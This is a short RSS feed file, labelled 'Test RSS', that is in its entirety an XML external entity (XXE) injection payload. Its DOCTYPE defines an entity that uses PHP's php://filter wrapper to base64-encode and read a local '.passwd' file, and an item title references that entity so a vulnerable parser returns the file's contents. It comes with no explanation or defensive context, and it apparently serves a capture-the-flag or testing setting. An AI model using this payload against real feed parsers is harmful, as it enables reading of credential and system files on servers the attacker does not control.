<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
  <!ELEMENT title ANY>
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file://.passwd">
]>
<rss version="2.0">
<channel>
  <title>Test RSS</title>
  <link>https://example.com</link>
  <description>Test Description</description>
  <item>
    <title>&xxe;</title>
    <link>https://example.com/item</link>
    <description>Item description</description>
  </item>
</channel>
</rss>